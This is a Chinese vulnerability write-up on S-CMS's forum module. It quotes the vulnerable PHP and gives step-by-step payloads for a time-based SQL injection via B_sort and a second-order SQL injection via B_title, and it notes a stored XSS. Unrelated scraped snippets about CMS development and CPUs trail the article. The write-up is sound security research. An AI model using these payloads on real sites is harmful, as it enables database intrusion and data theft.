时间:2021-05-19
0x01 前言
继上一篇的S-CMS漏洞再来一波!首发T00ls
0x2 目录
Sql注入二次SQL注入
0x03 Sql注入
漏洞文件:\scms\bbs\bbs.php
$action=$_GET["action"];$S_id=$_GET["S_id"];if($action=="add"){$B_title=htmlspecialchars($_POST["B_title"]);$B_sort=$_POST["B_sort"];$B_content=htmlspecialchars($_POST["B_content"]);$S_sh=getrs("select * from SL_bsort where S_id=".intval($B_sort),"S_sh");if($S_sh==1){$B_sh=0;}else{$B_sh=1;}$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");$sql="Select * from SL_bbs order by B_id desc limit 1";$result = mysqli_query($conn, $sql);$row = mysqli_fetch_assoc($result); if (mysqli_num_rows($result) > 0) { $B_id=$row["B_id"]; }相对来说这个注入比较简单,$B_sort 无过滤直接从POST获取,然而在SELECT查询的时候使用了intval函数来过滤变量。不过后面在insert的时候却没有任何过滤(无单引号包含)导致sql注入。
漏洞验证:
—Payload:
——http://127.0.0.1/scms/bbs/bbs.php?action=add
——B_title=test&B_content=test11&B_sort=1 and sleep(5)
$debug调试信息:
Insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('test','test11','2018-12-08 14:21:25',17,1 and sleep(5),0)
0x04 二次注入
漏洞文件:
\scms\bbs\bbs.php
\scms\bbs\item.php
先看一下漏洞触发点:
$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id; $result = mysqli_query($conn, $sql);$row = mysqli_fetch_assoc($result); if (mysqli_num_rows($result) > 0) { $B_title=lang($row["B_title"]); $B_content=lang($row["B_content"]); $B_time=$row["B_time"]; $B_sort=$row["B_sort"]; $S_title=lang($row["S_title"]); $B_view=$row["B_view"]; $M_login=$row["M_login"]; $M_pic=$row["M_pic"]; $L_title=$row["L_title"]; }if(substr($M_pic,0,4)!="http"){$M_pic="../media/".$M_pic;}$sql2="Select count(*) as B_count from SL_bbs where B_sub=".$id;$result2 = mysqli_query($conn, $sql2);$row2 = mysqli_fetch_assoc($result2);$B_count=$row2["B_count"];if($action=="reply"){$B_contentx=$_POST["B_content"];$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");box("回复成功!","item.php?id=".$id,"success");}简单说一下逻辑,第一步执行的sql语句是查询帖子的详细内容($id帖子id)
$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;然后把查询到的内容各自赋给一个变量
$B_title=lang($row["B_title"]); $B_content=lang($row["B_content"]); $B_time=$row["B_time"]; $B_sort=$row["B_sort"];..............................到后面判断$action=="reply",进入回复帖子功能处
if($action=="reply"){$B_contentx=$_POST["B_content"];$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");box("回复成功!","item.php?id=".$id,"success");}可以看到$B_contentx=$_POST["B_content"]无过滤,这里会触发储存xss漏洞。然而这个不是重点,继续看执行的insert语句,发现$B_title等变量都拼接了进来,没有sql过滤,而这些变量是从数据库查询出来的(帖子的标题等),然而回过头去看上面的sql注入,不就是发帖功能的地方么。所以这些变量可控,导致二次sql注入。
漏洞触发流程:
—首先我们去发帖B_title的值是我们的payload,还有其他的值
——B_title=',(select user()),'',1,999,1)%23&B_content=aaaaaaaaaaaa&B_sort=1
—然后我们去获取帖子id,这个没有特别好的办法只能去摸索着找,可以先根据楼层判断一共有多少帖子,然后一点一点的往后找,根据内容判断是否是我们发布的帖子
——http://127.0.0.1//scms/bbs/item.php?id=帖子id
—获取到帖子后去触发漏洞
——http://127.0.0.1//scms/bbs/item.php?action=reply&id=帖子id
——B_content=test
—这里我说一下payload为什么是这样的,这样构造完全是为了达到回显注入,因为后面打印回复内容的时候执行的sql注入是
——$sql="select * from SL_bbs where B_sub=".$id." order by B_id asc";
—而B_sub可控(在Insert的时候插入的),这样我们就能直接获取回显。
漏洞演示:
—Payload1
——127.0.0.1/scms/bbs/bbs.php?action=add
——B_title=',(select user()),'',1,666,1)%23&B_content=hello_admin&B_sort=1
—Payload2
——获取帖子id
——http://127.0.0.1//scms/bbs/item.php?id=30
—Payload3
——http://127.0.0.1//scms/bbs/item.php?action=reply&id=30
——B_content=test
执行完成!最后我们就可以去访问我们的回复然后拿到回显。http://127.0.0.1//scms/bbs/item.php?id=666这次id参数指向的是我们填的B_sub值
0x05 结束语
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
由于帝国CMS没插件API,所以在做帝国CMS二次开发的时候特别容易出现系统升级,文件管理混乱等麻烦,trylife总结出一些帝国CMS二次开发注意事项与大家分
文/天下网商记者王佳健编辑/周麟,淘宝将推出虚拟电台——次V台,聚合了二次元相关短视频、直播、图文内容的次V台将成为淘宝二次元内容聚集地。三大策略,打造淘宝二次
e52680v2和v3的差别是V3是Haswell架构,V2是IvyBridgeEP架构,而Haswell结构相比于IvyBridge结构在GPU性能、显示核心
e31230v2和v3的区别是v2功耗为69w,v3达到了80w,v3和v2支持睿频,可睿频至3.7ghz,同时两者的针脚也是不一样的。 中央处理器(Cent
一、前言:帝国CMS提供了强大的自定义字段处理函数功能,极大的方便了用户对帝国CMS进行二次开发!帝国CMS在增加/修改字段时可以设置“后台增加信息